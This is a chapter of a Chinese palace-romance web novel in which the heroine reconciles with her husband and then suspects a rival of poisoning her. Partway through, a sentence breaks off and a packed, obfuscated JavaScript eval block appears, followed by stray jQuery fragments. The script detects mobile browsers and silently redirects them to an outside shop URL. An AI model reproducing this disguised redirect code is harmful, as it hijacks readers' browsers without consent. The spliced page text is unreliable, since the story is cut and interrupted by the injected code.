待萧安乐收拾好心情,终于从刘九渊的离世中走出来,这才忽然发现谢倞祤对她的态度似是变了,他好似在躲着她,回房的时间愈来愈晚,她等不到他,早间他又走得太早,也见不到他,甚至他可能就不曾回房过。
萧安乐细算了下,自下葬那日起,她便未见过谢倞祤了。
卫影说谢倞祤今日在书房,萧安乐便做了些点心亲自送去,栖云轩的侍卫神出鬼没,上一次她来时,书房守备森严,这一次又都没了。
萧安乐敲门,轻唤:“谢倞祤。”等了片刻,并没有声音传来。
萧安乐正待再唤,门吱嘎一声打开,是谢倞祤,他亲自来开的门。
谢倞祤的视线先是落在萧安乐脸上,后又落在她手里的食盒上。竹盒将她细嫩的手压出一道红痕,谢倞祤眉头轻皱,不悦地扫了眼她身后的卫影,伸手接过。
“我做了些点心。”萧安乐看向谢倞祤,眼中有些心疼,他憔悴了许多,可是因为政务繁多?
“嗯。”谢倞祤转身进入屋内,在书案旁重新坐下。
萧安乐感觉到他态度中的冷淡,心下一紧,亦步亦趋地跟着他入内,在他身旁站定,他未打开食盒又开始埋头处理公务。
萧安乐不知发生了什么让谢倞祤的态度陡然转变,难不成她的身份也被发现?她心下忐忑,犹豫着伸手攥住谢倞祤的一片衣角。
她轻轻晃了晃他的衣角,还未开口,眼角已经红了,憋了许久的眼泪顷刻而下。
刘昀谦太小,香姨娘没了主心骨也一病不起,丧事一应事宜,事无巨细都要她过问,她根本没有悲伤的时间,全靠着一股劲儿硬撑着。
谢倞祤的冷淡像是压死骆驼的最后一根稻草,积攒了多日的悲伤就着委屈滚滚而下。
“为何?为何要……”
一句话还未说完,喉头便被堵住,萧安乐用力睁大眼睛,哽咽着继续道:“为何要这般对我……这般冷淡……”
谢倞祤抬眸对上她的视线,在她眼泪掉下的那一刻,这几日好不容易筑起的尺高心墙轰然坍塌,他的手不受控地将她拉入怀中,坐在他膝上。
“我只是……”
我只是不知该如何面对你。
谢倞祤将人圈紧了,下巴放在她的颈窝,鼻尖充斥着她发丝上的香甜气息,他闭眼贪婪地嗅了口,复又缓缓睁开,哑声道:“只是公务繁多。是我的错,让你担心了。”
萧安乐抱紧了他,将内心的恐慌毫无保留的展开:“我以为……以为你也不要我了呢!”
谢倞祤的心一阵闷痛,一股腥甜上涌至喉间,被他强自吞咽了下去,他扬唇,笑得宠溺:“怎会?我怎会不要你?”
我一直都想要你,只想要你啊!
萧安乐终于破涕为笑:“不许,不许再这般冷淡。”
“好。”
谢倞祤轻轻推开她,伸手温柔地将她眼角的泪拭去,被眼泪浸过的那双月牙眼此刻清亮得像是一汪清潭,一眼便能看到底。
她对着他笑,亮晶晶的月牙眼里只有他,可她却不爱他……
他亲了亲萧安乐额头,将人抱得更紧了些,他想,就这样吧,算了吧。
她不爱,便不爱了吧。
他爱她,就够了。
只要她还在他身边,只要她还愿意这样骗他。
哪怕一直不爱,他也愿意的。
屋内一时静谧,坊间却热闹非常。最近京中的大事,除了驸马爷的离世,便就是神女回京以及圣上与她的婚事了。
二月二是神女回京的日子,街道已围满了人,静等着神女与郭太仆的车马入城,好一睹神女风采。圣上为表重视,特派仪仗迎接,一队人马浩浩荡荡入了城。
萧安乐还在孝期自是不会凑这种热闹,不过对于萧子煊未按寻常妃嫔的册封礼数,而是以正统嫁娶之仪隆重迎娶曹月儿入宫这事,还是吃了一惊。
她虽听谢倞祤说过,为赢取民心,萧子煊必定会将曹月儿纳入后宫,这也是曹月儿愿意以身入局,假冒神女的目的。
只是,她着实没想到会是这么高的规制,且位份也是仅屈于中宫皇后的贵妃之位。礼部已开始筹备婚礼事宜,势必要隆重大办。
萧子煊此举极大地振奋了民心,民间皆道天子顺天意承民意,大朔必将千秋万代,对朝廷更是一片夸赞。
而曹月儿有神女这层身份,既是天然的优势,更是一道“免死金牌”,试问谁敢折辱神女,那可是要招天罚的。
她在后宫中算是稳了,蛰伏多年,终于要开始她的复仇之路,曹太尉以后的官路怕是不会好走。
萧安乐收回思绪,抬步往栖云轩去,关于她的病,她还要再翻一翻医书,谢倞祤只对她说毒未完全解,所以每月都会发,但却还是未告诉她究竟是何种隐秘的毒,又是谁给她下的?
这次毒发,她已然能确定母亲当年与她中了一样的隐毒,以及上次她确实中了痛骨散,除此应还中了此毒,不然当日谢倞祤不会如此肯定不是痛骨散。只是不知为何,上次隐毒未发,偏只发了痛骨散?
萧安乐想得认真,完全没注意自己竟走错了路,到了书房右侧的竹林甬道口,甬道尽头是春锦园。
萧安乐正要折回,就见甬道尽头一个黑衣男子正朝春锦园去,竹林遮蔽模糊了他的脸,只隐约看出面上有伤疤,但那身衣服……
是他!护国寺祈福那次将她掳走的人!
他怎么会在这?不说是赵府的家丁吗?
萧安乐来不及细想,忙快步去追,到了路尽头,哪还有什么人影,显然那人是进了春锦园。
萧安乐叩门,门很快打开,丫鬟见是她正要去通禀。
萧安乐忙拦住:“不用,我许久未见锦绣妹妹,来看一看她。”说着径直就往梅林里走,穿过梅林,她一路打量过去,丫鬟仆人各司其职,看不出什么异常。
小丫鬟忙领着她往前厅走,到了前厅看过茶,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587753|202110||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
才去里间通报。
很快楚锦绣便出来了,她身边跟了个高大男子,男子见到萧安乐微微颔首,他面色虽冷,态度却甚是恭敬。
萧安乐听卫影提起一嘴,她猜此人应就是卫徵。只是他与楚锦绣之间的气氛有些奇怪,他似是很抗拒楚锦绣的接近,行走间刻意保持着距离,但目光又不由自主地落在她身上。
“郡主,今日怎得闲来春锦园,可是找我有什么事?”楚锦绣抿了口茶问。
萧安乐收回思绪,端起茶盏轻轻刮着盏沿,掩住面上情绪:“只是忽然想起许久未见妹妹了,今日正巧路过便来看一看。”
“郡主客气,也是我的不是,郡主上次在春锦园突发不适,我早该去看一看的,可惜我身体一直有恙,怕传了病气给郡主,这才一直未能亲自探望。郡主莫怪。”
“怎会,妹妹现在身体如何了?”萧安乐笑得温婉,语气也愈发温柔。
“已好了许多,郡主呢?”
萧安乐烦闷地叹了口气:“不瞒妹妹,我上次并非身体不适,而是中了毒。”
“中毒?”
楚锦绣面色微诧,暗暗思忖难道谢倞祤查出来是她下的毒?她做的隐秘,还特意碰了萧安乐触过的东西,甚至亲拿了帕子给她,为的就是将自己的嫌疑洗清,且她已将所有证据都处理,不太可能会被发现。
楚锦绣强自镇定下来:“什么毒?”
“痛骨散。”萧安乐看向楚锦绣,一字一字缓缓道。
上次发作在春锦园,方才那男子也是在春锦园附近消失,冬枝说曾见过碧珠与春锦园的小桃有过来往……种种迹象都指向春锦园,萧安乐莫名有种直觉,所有问题的症结应就在楚锦绣身上。
“可查出是谁下了毒?与我春锦园有关吗?”
楚锦绣握紧茶盏,茶水溢出,些许溅在手背上,她的眉头皱也未皱,满脑子都是谢倞祤竟真的查到了,难怪他会派卫徵跟着她,原来不只是因碧珠那一件事。
“自然……妹妹难道……”萧安乐故意拖长尾音,一副欲言又止的模样,她眨也不眨地盯着楚锦绣,想看一看她可有半分慌乱?
楚锦绣方才的话已经很有问题,她并不惊讶于痛骨散是何种毒,连问都未问,若非不关心便就是已知晓此毒。她又是如何知晓的,难道真是她下的毒?
楚锦绣眼神闪烁:“郡主此话是何意?”
萧安乐未答,只刮着茶沫,微微扯唇,楚锦绣慌了!
痛骨散果真与她有关!她记得那日赏梅,插完花净手,是楚锦绣亲自拿了帕子递给她。她当时便觉奇怪,以她的身份和孤傲性子何至于会做丫鬟才做的事儿。莫非那帕子有毒?可若是帕子有毒,楚锦绣也接触了,为何她没事?又或是根本不是帕子的问题?
萧安乐仔细回想那天的细节,忽地她双目微微睁大……
当日,楚锦绣唯一未碰过的便是那盆净手的水,痛骨散定是被下在了水中,那另一种毒呢?